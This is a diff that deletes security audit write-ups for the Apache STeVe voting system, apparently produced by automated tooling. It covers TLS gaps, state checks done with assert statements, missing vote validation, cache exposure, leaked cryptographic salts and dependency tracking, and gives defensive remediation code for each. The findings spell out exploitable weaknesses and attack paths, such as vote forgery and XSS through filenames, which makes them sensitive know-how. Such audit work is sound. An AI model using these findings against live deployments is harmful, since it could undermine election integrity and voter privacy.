- desc = re.sub(r'doc:([^\s]+)', repl, desc)
- issue.description = f'<pre>{desc}</pre>'
-```
-
-**Additional Recommendations:**
-- Move HTML construction to templates with proper `[format]` directives
-- Implement authorization checks to complete `check authz` placeholders
-- Consider migrating from EZT to Jinja2 with auto-escaping
-- Establish secure coding guidelines: all HTML construction in templates, not Python
-
-### Acceptance Criteria
-- [ ] URL encoding and HTML escaping implemented in `rewrite_description()`
-- [ ] XSS test cases with malicious filenames (quotes, javascript:, onclick)
-- [ ] Authorization checks implemented for issue creation
-- [ ] Code review confirms no other Python-side HTML construction
-- [ ] Consider template migration to Jinja2
-- [ ] Security coding guidelines documented
-
-### References
-- ASVS 1.2.2: Output encoding for URL/attribute context
-- Source Report: 1.2.2.md
-- Related: FINDING-002, FINDING-003, FINDING-004, FINDING-005
-
-### Priority
-**Critical** - Exploitable by any authenticated user, affects all voters
-
----
-
-## Issue: FINDING-007 - TLS Not Enforced - Application Permits Plain HTTP Operation for All External-Facing Services
-**Labels:** bug, security, priority:critical, tls
-**Description:**
-### Summary
-The application implements TLS as an optional, bypassable configuration toggle rather than a mandatory security control. When `certfile` config is empty, the server launches over plain HTTP with no warnings, no errors, and no compensating controls. This exposes authentication tokens, vote contents, and election management operations to network eavesdropping and tampering.
-
-### Details
-- **Affected Files:** `v3/server/main.py` (lines 84-90, 97-118), `v3/server/config.yaml.example` (lines 27-31)
-- **ASVS Sections:** 12.2.1, 12.2.2 (L1)
-- **CWE:** CWE-319 (Cleartext Transmission of Sensitive Information)
-
-The conditional check `if app.cfg.server.certfile:` means when certfile is empty/absent, the server silently degrades to insecure transport. In ASGI mode (`run_asgi()`), the function creates the application without any TLS parameters, delegating all transport security to external ASGI server/proxy with no verification.
-
-**Impact for Voting System:**
-- Authentication tokens (ASF OAuth tokens, session cookies) transmitted in cleartext
-- Vote contents captured or modified during transmission before encryption
-- Election management operations exposed
-- Complete loss of transport security guarantees
-
-### Remediation
-1. **Make TLS Mandatory:** Enforce certificate validation at startup - fail with critical error if certfile/keyfile are missing or invalid
-2. **Remove Plain HTTP Documentation:** Update config.yaml.example to remove suggestions that plain HTTP is acceptable
-3. **Add HSTS Header:** Inject `Strict-Transport-Security: max-age=31536000; includeSubDomains` to all responses
-4. **ASGI Mode Protection:** Document mandatory Hypercorn TLS configuration and add startup validation of `X-Forwarded-Proto`
-5. **HTTP Redirect:** Add HTTP listener that returns 301 redirects to HTTPS
-6. **Proxy Mode:** If proxy architecture is intended, add `behind_proxy: true` config flag with explicit validation
-
-### Acceptance Criteria
-- [ ] Server fails to start if TLS certificates are missing/invalid
-- [ ] HSTS header added to all responses
-- [ ] HTTP→HTTPS redirect implemented
-- [ ] ASGI mode validates proxy TLS headers
-- [ ] Configuration documentation updated
-- [ ] Integration tests verify TLS enforcement
-- [ ] Deployment guide includes TLS requirements
-
-### References
-- ASVS 12.2.1, 12.2.2: TLS enforcement for all connections
-- CWE-319: Cleartext Transmission of Sensitive Information
-- Source Reports: 12.2.1.md, 12.2.2.md
-
-### Priority
-**Critical** - Fundamental transport security control missing
-
----
-
-## Issue: FINDING-008 - No TLS Protocol Version Enforcement - Server May Accept Deprecated TLS 1.0/1.1 Connections
-**Labels:** bug, security, priority:critical, tls
-**Description:**
-### Summary
-The application does not enforce minimum TLS protocol versions. No `ssl.SSLContext` is explicitly created or configured, meaning Python's defaults apply (typically TLS 1.0 minimum). This allows protocol downgrade attacks exploiting known cryptographic weaknesses (BEAST, POODLE, Lucky Thirteen) to decrypt authentication tokens or vote payloads.
-
-### Details
-- **Affected Files:** `v3/server/main.py` (lines 83-91, 99-118), `v3/server/config.yaml.example`
-- **ASVS Sections:** 12.1.1 (L1)
-- **CWE:** CWE-327 (Use of Broken or Risky Cryptographic Algorithm)
-
-The application passes only `certfile` and `keyfile` as keyword arguments to `app.runx()`. No explicit configuration exists for:
-- `ssl_context.minimum_version = ssl.TLSVersion.TLSv1_2`
-- Protocol flags: `ssl.OP_NO_TLSv1 | ssl.OP_NO_TLSv1_1`
-- TLS 1.3 preference
-- Cipher suite restrictions
-
-Both deployment modes affected: `run_standalone()` passes raw paths; `run_asgi()` creates no SSL configuration, deferring to Hypercorn's defaults.
-
-### Remediation
-Create explicit `ssl.SSLContext` with enforced minimum version:
-
-```python
-def _create_tls_context(certfile, keyfile):
- """Create secure TLS context with modern protocol versions."""
- ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
-
- # Enforce TLS 1.2+ only
- ctx.minimum_version = ssl.TLSVersion.TLSv1_2
- ctx.maximum_version = ssl.TLSVersion.TLSv1_3
-
- # Security options
- ctx.options |= ssl.OP_NO_COMPRESSION
- ctx.options |= ssl.OP_CIPHER_SERVER_PREFERENCE
-
- # Restrict to strong cipher suites
- ctx.set_ciphers('ECDHE+AESGCM:ECDHE+CHACHA20:DHE+AESGCM:DHE+CHACHA20:!aNULL:!MD5:!DSS')
-
- # Load certificate
- ctx.load_cert_chain(certfile, keyfile)
-
- return ctx
-```
-
-For ASGI/Hypercorn: Provide `hypercorn.toml` configuration enforcing TLS 1.2+ with modern ciphers.
-
-### Acceptance Criteria
-- [ ] `_create_tls_context()` function implemented
-- [ ] TLS 1.2 enforced as minimum version
-- [ ] Strong cipher suites configured
-- [ ] Hypercorn configuration documented for ASGI mode
-- [ ] Config schema includes `minimum_tls_version` and `ciphers` fields
-- [ ] SSL Labs scan achieves A+ rating
-- [ ] Tests verify TLS 1.0/1.1 connections are rejected
-
-### References
-- ASVS 12.1.1: Enforce minimum TLS version
-- CWE-327: Use of Broken or Risky Cryptographic Algorithm
-- Source Report: 12.1.1.md
-
-### Priority
-**Critical** - Allows cryptographic downgrade attacks
-
----
-
-## Issue: FINDING-009 - Election Lifecycle State Enforcement Uses `assert` Statements — Control Exists But Is Removable (Type B Gap)
-**Labels:** bug, security, priority:critical, business-logic
-**Description:**
-### Summary
-Seven critical election lifecycle management methods rely exclusively on Python `assert` statements for state enforcement. When running with `-O` optimization flag (standard production practice), all `assert` statements are removed from bytecode, completely eliminating state transition controls. This allows arbitrary state machine traversal, including backwards transitions and step skipping.
-
-### Details
-- **Affected Files:** `v3/steve/election.py` (lines 50, 70, 123, 208, 228, 241, 273), `v3/server/pages.py` (lines 447, 466, 483, 510, 534)
-- **ASVS Sections:** 2.3.1 (L1)
-
-The codebase contains a proper enforcement mechanism (`_all_metadata(required_state)`) that raises `ElectionBadState` exceptions and is correctly used in voting-related methods (`add_vote()`, `tally_issue()`, `has_voted_upon()`), but this pattern was not applied to administrative lifecycle methods.
-
-**Affected Methods:**
-- `open()` - Opens election (should require S_EDITABLE state)
-- `close()` - Closes election (should require S_OPEN state)
-- `add_issue()` - Adds issue (should require S_EDITABLE state)
-- `edit_issue()` - Edits issue (should require S_EDITABLE state)
-- `delete_issue()` - Deletes issue (should require S_EDITABLE state)
-- `add_voter()` - Adds voter (should require S_EDITABLE state)
-- `delete()` - Deletes election (should require S_EDITABLE state)
-
-### Remediation
-Replace all `assert` statements with `_all_metadata(required_state)` mechanism:
-
-```python
-def open(self, pdb):
- # Verify the Election is in the editing state (raises ElectionBadState if not)
- self._all_metadata(required_state=self.S_EDITABLE)
-
- self.add_salts()
- edata = self.gather_election_data(pdb)
- salt = crypto.gen_salt()
- opened_key = crypto.gen_opened_key(edata, salt)
- self.c_open.perform(salt, opened_key, self.eid)
-
-def close(self):
- """Close an election."""
- self._all_metadata(required_state=self.S_OPEN)
- self.c_close.perform(self.eid)
-
-def add_issue(self, title, description, vtype, kv):
- """Add a new issue with a generated unique IID."""
- self._all_metadata(required_state=self.S_EDITABLE)
- if vtype not in vtypes.TYPES:
- raise ValueError(f'Invalid vote type: {vtype}')
- # ... rest of method
-
-def delete(self):
- """Delete this Election and its Issues and Person/Issue pairs."""
- self._all_metadata(required_state=self.S_EDITABLE)
- # ... rest of method
-```
-
-Apply same pattern to: `edit_issue()`, `delete_issue()`, `add_voter()`, `add_salts()`
-
-### Acceptance Criteria
-- [ ] All `assert` statements in lifecycle methods replaced with `_all_metadata()`
-- [ ] Unit tests verify state enforcement with `-O` flag enabled
-- [ ] Integration tests verify proper exception raising for invalid state transitions
-- [ ] Test attempts to open already-open election
-- [ ] Test attempts to close non-open election
-- [ ] Test attempts to modify closed election
-- [ ] Code review confirms no remaining security-critical `assert` statements
-
-### References
-- ASVS 2.3.1: Verify business logic flows enforce state transitions
-- Source Report: 2.3.1.md
-
-### Priority
-**Critical** - State machine bypass in production with `-O` flag
-
----
-
-## Issue: FINDING-010 - Vote Content Validation Step Entirely Absent in Vote Submission Flow (Type A Gap)
-**Labels:** bug, security, priority:critical, business-logic
-**Description:**
-### Summary
-Vote content (votestring) submitted by users is not validated against the issue's vote type before being encrypted and stored. The system accepts arbitrary strings for votes, allowing attackers to submit invalid vote values that corrupt the vote record and potentially break tally algorithms.
-
-### Details
-- **Affected Files:** `v3/steve/election.py` (lines 282-298), `v3/server/pages.py` (lines 383-424)
-- **ASVS Sections:** 2.3.1, 2.2.1, 2.2.2 (L1)
-
-A comment in the code at election.py line 229 indicates validation was intended ('### validate VOTESTRING for ISSUE.TYPE voting') but was never implemented. Client-side form controls (radio buttons for YNA, drag-and-drop for STV) can be trivially bypassed via direct HTTP requests.
-
-**Attack Vectors:**
-- Invalid YNA values (e.g., "maybe", "42", script tags)
-- Non-existent STV candidates
-- Duplicate rankings in STV
-- Malformed vote strings that break tally algorithms
-
-At tally time, the vtypes module receives corrupted data, potentially causing incorrect tally results, denial of service, or breaking voting algorithm invariants.
-
-### Remediation
-Implement the missing validation step using the existing `vtypes` module infrastructure:
-
-```python
-# In election.py, add_vote()
-def add_vote(self, pid: str, iid: str, votestring: str):
- """Add VOTESTRING as the (latest) vote by PID for IID."""
-
- # The Election should be open.
- md = self._all_metadata(self.S_OPEN)
-
- # Fetch issue to determine vote type
- issue = self.q_get_issue.first_row(iid)
- if not issue:
- raise IssueNotFound(iid)
-
- # Validate votestring for the issue's vote type
- vtype_mod = vtypes.vtype_module(issue.type)
- if not vtype_mod.validate(votestring, self.json2kv(issue.kv)):
- raise InvalidVoteString(iid, issue.type, votestring)
-
- mayvote = self.q_get_mayvote.first_row(pid, iid)
- vote_token = crypto.gen_vote_token(md.opened_key, pid, iid, mayvote.salt)
- ciphertext = crypto.create_vote(vote_token, mayvote.salt, votestring)
- self.c_add_vote.perform(vote_token, ciphertext)
-```
-
-Each vtype module should implement `validate()`:
-
-```python
-# vtypes/yna.py
-VALID_VOTES = {'yes', 'no', 'abstain'}
-def validate(votestring, kv):
- return votestring.lower().strip() in VALID_VOTES
-
-# vtypes/stv.py
-def validate(votestring, kv):
- candidates = set(kv.get('labelmap', {}).keys())
- rankings = votestring.split(',')
- return all(r.strip() in candidates for r in rankings) and len(rankings) <= len(candidates)
-```
-
-### Acceptance Criteria
-- [ ] `InvalidVoteString` exception class created
-- [ ] `validate()` method implemented in all vtype modules (yna.py, stv.py)
-- [ ] Validation integrated into `add_vote()` method
-- [ ] Unit tests for each vtype's validation logic
-- [ ] Integration tests verify invalid votes are rejected
-- [ ] Test XSS payloads in vote strings are rejected
-- [ ] Test non-existent candidate IDs are rejected
-- [ ] Test duplicate STV rankings are rejected
-- [ ] Error messages provide clear feedback without exposing internals
-
-### References
-- ASVS 2.3.1, 2.2.1, 2.2.2: Business logic validation and input validation
-- Source Reports: 2.3.1.md, 2.2.1.md, 2.2.2.md
-
-### Priority
-**Critical** - Vote integrity and tally correctness at risk
-
----
-
-## Issue: FINDING-011 - Complete Absence of Authenticated Data Clearing from Client Storage
-**Labels:** bug, security, priority:critical, privacy
-**Description:**
-### Summary
-The application completely lacks mechanisms to clear authenticated data from client storage upon session termination. No `Clear-Site-Data` header, no logout endpoint, no `Cache-Control` headers, and no client-side cleanup. This violates ASVS 14.3.1 Level 1 requirement, which is mandatory for all applications.
-
-### Details
-- **Affected Files:** `v3/server/pages.py` (lines 72-103, 148, 186, 528)
-- **ASVS Sections:** 14.3.1 (L1)
-
-**Missing Controls:**
-1. No `Clear-Site-Data` header on any response
-2. No logout endpoint to trigger session termination
-3. No `Cache-Control` headers prevent browser caching of authenticated pages
-4. No client-side JavaScript implements cleanup
-
-**Impact for Voting System:**
-- Voter privacy violations through browser cache on shared computers
-- Cached pages expose who voted and in which elections
-- Session persistence without logout allows session reuse
-- Cached vote confirmation messages prove voter participation
-- Election administration exposure through cached management pages
-
-### Remediation
-1. **Add `Clear-Site-Data` header on logout:**
- - Create `/logout` endpoint
- - Destroy server-side session
- - Set `Clear-Site-Data: "cache", "cookies", "storage"` header
-
-2. **Add `Cache-Control` and security headers via `after_request` middleware:**
-```python
-@app.after_request
-def add_security_headers(response):
- if request.path.startswith('/static/'):
- return response # Allow caching of static assets
- response.headers['Cache-Control'] = 'no-store, no-cache, must-revalidate, max-age=0'
- response.headers['Pragma'] = 'no-cache'
- response.headers['Expires'] = '0'
- return response
-```
-
-3. **Add client-side cleanup as fallback:**
-```javascript
-window.addEventListener('beforeunload', function() {
- sessionStorage.clear();
- // Clear sensitive DOM elements
- document.querySelectorAll('[data-sensitive]').forEach(el => el.textContent = '');
-});
-
-// Periodic session check
-setInterval(function() {
- fetch('/api/session-check')
- .catch(() => {
- // Session expired or server unreachable
- sessionStorage.clear();
- localStorage.clear();
- window.location.href = '/session-expired';
- });
-}, 60000);
-```
-
-4. **Mark sensitive DOM elements in templates:**
-```html
-<span data-sensitive>User: [person.name]</span>
-```
-
-### Acceptance Criteria
-- [ ] `/logout` endpoint created with session destruction
-- [ ] `Clear-Site-Data` header sent on logout
-- [ ] `Cache-Control` headers added to all authenticated responses
-- [ ] Client-side cleanup on `beforeunload` implemented
-- [ ] Periodic session check implemented
-- [ ] Sensitive DOM elements marked with `data-sensitive`
-- [ ] Manual testing on shared computer confirms data clearing
-- [ ] Browser cache inspection confirms no sensitive data retained
-- [ ] Test logout from multiple tabs/windows
-
-### References
-- ASVS 14.3.1: Authenticated data clearing from client storage
-- Source Report: 14.3.1.md
-
-### Priority
-**Critical** - Voter privacy violation, mandatory L1 requirement
-
----
-
-## Issue: FINDING-012 - Inconsistent Field Filtering — Election List Methods Return Raw Database Rows Without Python-Level Sensitive Field Exclusion
-**Labels:** bug, security, priority:critical, data-exposure
-**Description:**
-### Summary
-Election list methods (`open_to_pid()`, `upcoming_to_pid()`, `owned_elections()`) return raw database rows without Python-level field filtering, potentially exposing sensitive cryptographic materials (`salt` and `opened_key`) to template rendering contexts. With `opened_key` and `mayvote.salt`, an attacker can compute `vote_token` values for any eligible voter, decrypt existing votes, and submit forged votes.
-
-### Details
-- **Affected Files:** `v3/steve/election.py` (lines 407-412, 438-446, 420-436), `v3/server/pages.py` (lines 155-162, 320-324, 477-519)
-- **ASVS Sections:** 15.3.1 (L1)
-- **CWE:** CWE-200 (Exposure of Sensitive Information)
-
-The codebase demonstrates awareness of the need to exclude sensitive fields through an explicit filtering control in `get_metadata()`, but this control is not applied to three parallel code paths. This represents a Type B gap where a control exists but is not consistently applied.
-
-**Attack Scenario:**
-If underlying SQL queries include `salt` and `opened_key` columns, they flow into HTTP responses. Attacker with these values can:
-1. Compute `vote_token = crypto.gen_vote_token(opened_key, pid, iid, salt)`
-2. Decrypt existing votes
-3. Submit forged votes
-
-### Remediation
-Apply explicit field construction pattern to all methods returning election data:
-
-```python
-# Add static method for safe election summaries
-@staticmethod
-def _safe_election_summary(row):
- """Construct safe election summary with only non-sensitive fields."""
- return {
- 'eid': row.eid,
- 'title': row.title,
- 'owner_pid': row.owner_pid,
- 'closed': row.closed,
- 'open_at': row.open_at,
- 'close_at': row.close_at
- # Explicitly exclude: salt, opened_key
- }
-
-def open_to_pid(self, pid):
- """Return list of open elections where PID may vote."""
- rows = self.q_open_to_pid.all_rows(pid)
- return [self._safe_election_summary(row) for row in rows]
-
-def upcoming_to_pid(self, pid):
- """Return list of upcoming elections where PID may vote."""
- rows = self.q_upcoming_to_pid.all_rows(pid)
- return [self._safe_election_summary(row) for row in rows]
-
-def owned_elections(self, pid):
- """Return list of elections owned by PID."""
- rows = self.q_owned_elections.all_rows(pid)
- return [self._safe_election_summary(row) for row in rows]
-```
-
-Add defense-in-depth guard in `postprocess_election()`:
-
-```python
-def postprocess_election(self, result, election):
- """Postprocess election data before template rendering."""
- # Explicitly delete sensitive fields if they exist
- if hasattr(election, 'salt'):
- delattr(election, 'salt')
- if hasattr(election, 'opened_key'):
- delattr(election, 'opened_key')
- # ... rest of postprocessing
-```
-
-Audit `queries.yaml` to confirm queries do not select sensitive columns.
-
-### Acceptance Criteria
-- [ ] `_safe_election_summary()` static method implemented
-- [ ] All three methods apply safe field construction
-- [ ] Defense-in-depth guard added to `postprocess_election()`
-- [ ] `queries.yaml` audited for sensitive column selection
-- [ ] Unit tests verify sensitive fields are excluded
-- [ ] Integration tests inspect HTTP responses for sensitive data
-- [ ] Code review confirms all data-returning methods use allowlist pattern
-- [ ] Coding standard documented: explicit field construction for external data
-
-### References
-- ASVS 15.3.1: Data minimization in API/data responses
-- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
-- Source Report: 15.3.1.md
-
-### Priority
-**Critical** - Potential exposure of cryptographic materials enabling vote decryption/forgery
-
----
-
-## Issue: FINDING-013 - No Documented Risk-Based Remediation Timeframes for Third-Party Components
-**Labels:** bug, security, priority:critical, supply-chain
-**Description:**
-### Summary
-The application lacks documented risk-based remediation timeframes for third-party component vulnerabilities and general library update schedules. The security model depends on cryptographic libraries (argon2-cffi, cryptography) used for vote encryption, key derivation, and tamper detection. Without documented remediation timeframes, a published CVE in these libraries could remain unpatched indefinitely.
-
-### Details
-- **Affected Files:** `v3/steve/crypto.py` (lines 85-94, 71-76, 78-82), `v3/steve/election.py` (lines 283-287, 320-333)
-- **ASVS Sections:** 15.1.1 (L1)
-
-**Missing Documentation:**
-1. Risk-based remediation timeframes
-2. General update schedules
-3. SBOM enumerating component versions
-4. Classification of security-critical components
-
-**Impact:** A vulnerability in cryptographic libraries could directly compromise:
-- Vote secrecy
-- Election integrity
-- Key derivation security
-
-### Remediation
-Create `DEPENDENCY-POLICY.md` document including:
-
-1. **Software Bill of Materials (SBOM):**
- - CycloneDX or SPDX format generated by CI pipeline
- - Tool: `cyclonedx-bom` or `syft`
-
-2. **Component Risk Classification:**
- - **Dangerous Functionality Components:** cryptography, argon2-cffi (handle cryptographic operations)
- - **Risky Components:** (to be identified during audit)
-
-3. **Vulnerability Remediation Timeframes:**
- | Severity | CVSS Score | Dangerous Functionality | Standard Components |
- |----------|------------|------------------------|---------------------|
- | Critical | 9.0-10.0 | 24 hours | 48 hours |
- | High | 7.0-8.9 | 72 hours | 7 days |
- | Medium | 4.0-6.9 | 14 days | 30 days |
- | Low | 0.1-3.9 | 30 days | 90 days |
-
-4. **General Update Cadence:**
- - Security-critical libraries: Monthly review, update within 7 days of patch
- - All other dependencies: Quarterly review
-
-5. **Monitoring Process:**
- - Automated dependency scanning in CI/CD (pip-audit, OSV-Scanner)
- - CVE notification subscription for dangerous functionality components
- - Quarterly manual review
-
-### Acceptance Criteria
-- [ ] `DEPENDENCY-POLICY.md` created with all sections
-- [ ] SBOM generated and committed (CycloneDX or SPDX format)
-- [ ] Security-critical components classified
-- [ ] Remediation timeframes documented
-- [ ] Update cadence documented
-- [ ] Automated CVE scanning integrated (pip-audit or OSV-Scanner)
-- [ ] CVE notification subscriptions configured
-- [ ] Quarterly review process established
-- [ ] Policy reviewed and approved by security team
-
-### References
-- ASVS 15.1.1: Document risk-based remediation timeframes
-- Source Report: 15.1.1.md
-- Related: FINDING-014
-
-### Priority
-**Critical** - Foundation for supply chain security, mandatory L1 requirement
-
----
-
-## Issue: FINDING-014 - Complete Absence of SBOM and Dependency Version Tracking
-**Labels:** bug, security, priority:critical, supply-chain
-**Description:**
-### Summary
-The application lacks any mechanism to track, version, or audit third-party dependencies. No dependency manifest with version constraints exists (no pyproject.toml, requirements.txt, uv.lock, Pipfile.lock, or SBOM document). The application's security model depends on cryptography and argon2-cffi, but their versions are completely unverifiable.
-
-### Details
-- **Affected Files:** `v3/server/main.py` (line 1), `v3/steve/crypto.py` (lines 1-10), `v3/steve/election.py` (lines 1-10), Project-wide
-- **ASVS Sections:** 15.2.1 (L1)
-- **CWE:** CWE-1104 (Use of Unmaintained Third Party Components)
-
-**Missing Controls:**
-- No version pinning
-- No dependency lock file
-- No SBOM document
-- No CVE scanning
-- No update process
-
-**Impact:**
-- Non-reproducible builds (each deployment may resolve different versions)
-- No verification of deployed versions against known CVEs
-- No protection against dependency confusion or typosquatting
-- Impossible to verify compliance with documented update timeframes (ASVS 15.2.1)
-
-### Remediation
-**IMMEDIATE ACTIONS:**
-
-1. **Create `pyproject.toml` with pinned dependencies:**
-```toml
-[project]
-name = "steve-voting"
-version = "3.0.0"
-dependencies = [
- "asfquart>=1.0.0",
- "asfpy>=0.50.0",
- "cryptography>=44.0.0",
- "argon2-cffi>=23.1.0",
- "easydict>=1.13",
-]
-
-[build-system]
-requires = ["hatchling"]
-build-backend = "hatchling.build"
-```
-
-2. **Generate and commit `uv.lock`:**
-```bash
-uv lock
-git add uv.lock
-git commit -m "Add dependency lock file"
-```
-
-3. **Generate SBOM:**
-```bash
-pip install cyclonedx-bom
-cyclonedx-py -o sbom.json
-```
-
-4. **Document update timeframes in `SECURITY.md`:**
- - Critical CVEs: 48 hours
- - High: 7 days
- - Medium: 30 days
- - Routine updates: monthly
-
-5. **Integrate automated vulnerability scanning:**
-```yaml
-# .github/workflows/security.yml
-name: Security Scan
-on: [push, pull_request, schedule]
-jobs:
- scan:
- runs-on: ubuntu-latest
- steps:
- - uses: actions/checkout@v4
- - uses: astral-sh/setup-uv@v1
- - run: uv pip install pip-audit
- - run: pip-audit
-```
-
-6. **Enable Dependabot:**
-```yaml
-# .github/dependabot.yml
-version: 2
-updates:
- - package-ecosystem: "pip"
- directory: "/"
- schedule:
- interval: "weekly"
- open-pull-requests-limit: 10
-```
-
-7. **Conduct initial vulnerability scan:**
-```bash
-pip-audit
-```
-
-8. **Implement pre-commit hooks:**
-```yaml
-# .pre-commit-config.yaml
-repos:
- - repo: local
- hooks:
- - id: pip-audit
- name: pip-audit
- entry: pip-audit
- language: system
- pass_filenames: false
-```
-
-9. **Establish monthly dependency review process**
-
-10. **Integrate SBOM generation into release pipeline**
-
-### Acceptance Criteria
-- [ ] `pyproject.toml` created with all dependencies pinned
-- [ ] `uv.lock` generated and committed
-- [ ] SBOM generated in CycloneDX or SPDX format
-- [ ] Initial vulnerability scan completed and findings remediated
-- [ ] CI/CD pipeline includes automated vulnerability scanning
-- [ ] Dependabot or Renovate enabled
-- [ ] Pre-commit hooks implemented
-- [ ] Monthly review process documented
-- [ ] SBOM generation integrated into release process
-- [ ] All critical/high CVEs in current dependencies resolved
-
-### References
-- ASVS 15.2.1: Verify components have not breached update timeframes
-- CWE-1104: Use of Unmaintained Third Party Components
-- Source Report: 15.2.1.md
-- Related: FINDING-013
-
-### Priority
-**Critical** - Foundation for supply chain security, enables CVE tracking
-
----
-
-## Issue: FINDING-015 - No Certificate Trust Validation - Self-Signed and Development Certificates Permitted
-**Labels:** bug, security, priority:high, tls
-**Description:**
-### Summary
-When TLS is enabled, no validation occurs to ensure the provided certificate is publicly trusted. The configuration template references mkcert-generated development certificates as the example, and there is no code to detect or reject self-signed certificates, development CAs, or certificates that would not be trusted by standard browsers. This allows production deployment with certificates that provide encryption but no authentication, enabling man-in-the-middle attacks.
-
-### Details
-- **Affected Files:** `v3/server/main.py` (lines 87-91), `v3/server/config.yaml.example` (lines 31-33)
-- **ASVS Sections:** 12.2.2 (L1)
-- **CWE:** CWE-295 (Improper Certificate Validation)
-
-**Current State:**
-- Configuration example shows mkcert certificates
-- No validation that certificates are from trusted CAs
-- No detection of self-signed certificates
-- No warnings for development certificates in production
-
-**Attack Vector:** Attacker can present their own certificate in MITM attack without detection, as application accepts any certificate with valid private key.
-
-### Remediation
-1. **Implement certificate validation:**
-```python
-def _validate_certificate(certfile):
- """Validate that certificate is not self-signed or from development CA."""
- import ssl
- from cryptography import x509
- from cryptography.hazmat.backends import default_backend
-
- with open(certfile, 'rb') as f:
- cert = x509.load_pem_x509_certificate(f.read(), default_backend())
-
- # Check for mkcert patterns
- subject = cert.subject.rfc4514_string()
- issuer = cert.issuer.rfc4514_string()
-
- if 'mkcert' in subject.lower() or 'mkcert' in issuer.lower():
- raise ValueError("Development certificate (mkcert) detected. Use publicly trusted certificate in production.")
-
- if subject == issuer:
- raise ValueError("Self-signed certificate detected. Use publicly trusted certificate in production.")
-
- # Verify chain terminates in trusted root
- # (implementation depends on platform trust store)
-```
-
-2. **Update configuration template:**
-```yaml
-server:
- # TLS Configuration (REQUIRED for production)
- # Use publicly trusted certificates from:
- # - Let's Encrypt (recommended for public servers)
- # - Organizational CA (for internal deployments)
- #
- # WARNING: mkcert certificates are for DEVELOPMENT ONLY
- # DO NOT use mkcert, self-signed, or development certificates in production
- certfile: /path/to/public-trusted-cert.pem
- keyfile: /path/to/private-key.pem
-```
-
-3. **Add configuration flag:**
-```python
-# In config schema
-allow_development_certificates: false # Set to true ONLY for non-production
-```
-
-### Acceptance Criteria
-- [ ] Certificate validation function implemented
-- [ ] mkcert detection implemented
-- [ ] Self-signed certificate detection implemented
-- [ ] Configuration template updated with prominent warnings
-- [ ] `allow_development_certificates` flag added
-- [ ] Startup fails with clear error for development certificates (unless flag set)
-- [ ] Tests verify rejection of mkcert/self-signed certificates
-- [ ] Documentation includes certificate procurement guidance
-- [ ] Let's Encrypt integration guide provided
-
-### References
-- ASVS 12.2.2: Verify certificates are trusted
-- CWE-295: Improper Certificate Validation
-- Source Report: 12.2.2.md
-- Related: FINDING-007
-
-### Priority
-**High** - Allows MITM attacks despite TLS encryption
\ No newline at end of file
diff --git a/repos/apache/ASVS/reports/steve/d0aa7e9/tls_transport_security/12.1.1.md b/repos/apache/ASVS/reports/steve/d0aa7e9/tls_transport_security/12.1.1.md
deleted file mode 100644
index d0172e2..0000000
--- a/repos/apache/ASVS/reports/steve/d0aa7e9/tls_transport_security/12.1.1.md
+++ /dev/null
@@ -1,260 +0,0 @@
-# ASVS 12.1.1 Security Audit Report
-
-## Executive Summary
-
-- **Repository:** apache/steve
-- **Audit Date:** Apr 21, 2026
-- **Auditor:** Tooling Agents
-- **ASVS Requirement:** 12.1.1 — Verify that only the latest recommended versions of the TLS protocol are enabled, such as TLS 1.2 and TLS 1.3. The latest version of the TLS protocol must be the preferred option.
- - **Level:** 1
- - **Section:** General TLS Security Guidance
- - **Chapter:** Secure Communication
-- **Files Analyzed:** 2 relevant out of 2 total, 0 skipped
-
-### Finding Summary
-
-| Severity | Count |
-|----------|-------|
-| Critical | 1 |
-| High | 0 |
-| Medium | 0 |
-| Low | 0 |
-| **Total** | **1** |
-
-**Audit Result:** The audit reveals a **critical gap** in TLS configuration. The application provides no explicit TLS protocol version enforcement. When TLS is enabled via certificate configuration, the server passes raw `certfile`/`keyfile` paths to the underlying framework without constructing or configuring an `ssl.SSLContext`, leaving protocol version negotiation entirely to system-level OpenSSL defaults.
-
----
-
-## Security Controls Inventory
-
-| Control Area | Expected | Found | Status |
-|--------------|----------|-------|--------|
-| TLS certificate configuration | Present | `config.yaml` certfile/keyfile | ✅ Exists |
-| TLS protocol minimum version (≥1.2) | Explicit enforcement | **None** | ❌ Missing |
-| TLS 1.3 preferred | Explicit preference | **None** | ❌ Missing |
-| Deprecated protocol disable (TLS 1.0, 1.1) | Explicit disable | **None** | ❌ Missing |
-| SSL context creation | Custom `ssl.SSLContext` | **None** | ❌ Missing |
-| Cipher suite restriction | Explicit configuration | **None** | ❌ Missing |
-
----
-
-## Critical File Review
-
-### TLS Configuration Security Analysis
-
-| File | TLS Controls | Protocol Version Config | Cipher Config | Verdict |
-|------|--------------|------------------------|---------------|---------|
-| `main.py` | Certificate paths loaded conditionally | **None** | **None** | ❌ Non-compliant |
-| `config.yaml.example` | certfile/keyfile fields | **No protocol fields** | **No cipher fields** | ❌ Incomplete |
-
----
-
-## Findings
-
-### Critical Severity
-
-#### ASVS-1211-CRITICAL-001: No TLS Protocol Version Enforcement — Server May Accept Deprecated TLS 1.0/1.1 Connections
-
-**Severity:** CRITICAL
-
-**Gap Type:** Type A — Entry point with NO control
-
-**Location:**
-- **File:** `v3/server/main.py`
-- **Function:** `run_standalone()`
-- **Lines:** 83–91
-
-**Related Functions Checked:**
-- `run_standalone()` (lines 83–91)
-- `run_asgi()` (lines 99–118)
-- Configuration loading in `config.yaml.example`
-
-**Vulnerable Code:**
-
-```python
-kwargs = {}
-if app.cfg.server.certfile:
- kwargs['certfile'] = CERTS_DIR / app.cfg.server.certfile
- kwargs['keyfile'] = CERTS_DIR / app.cfg.server.keyfile
- extra_files.update((kwargs['certfile'], kwargs['keyfile']))
-
-# Spool up the app!
-app.runx(port=app.cfg.server.port, extra_files=extra_files, **kwargs)
-```
-
-**Configuration (config.yaml.example):**
-```yaml
-server:
- certfile: localhost.apache.org+3.pem
- keyfile: localhost.apache.org+3-key.pem
-```
-
-**Data Flow:**
-
-```
-config.yaml (certfile/keyfile paths)
- → main.py:run_standalone() constructs kwargs with raw paths
- → app.runx(**kwargs) passes paths to Hypercorn/Quart
- → Framework creates ssl.SSLContext with SYSTEM DEFAULTS
- → No minimum_version set → TLS 1.0/1.1 potentially negotiable
-```
-
-**Description:**
-
-The application constructs TLS parameters by passing only `certfile` and `keyfile` as keyword arguments to `app.runx()`. At no point in the codebase is an `ssl.SSLContext` explicitly created or configured. This means:
-
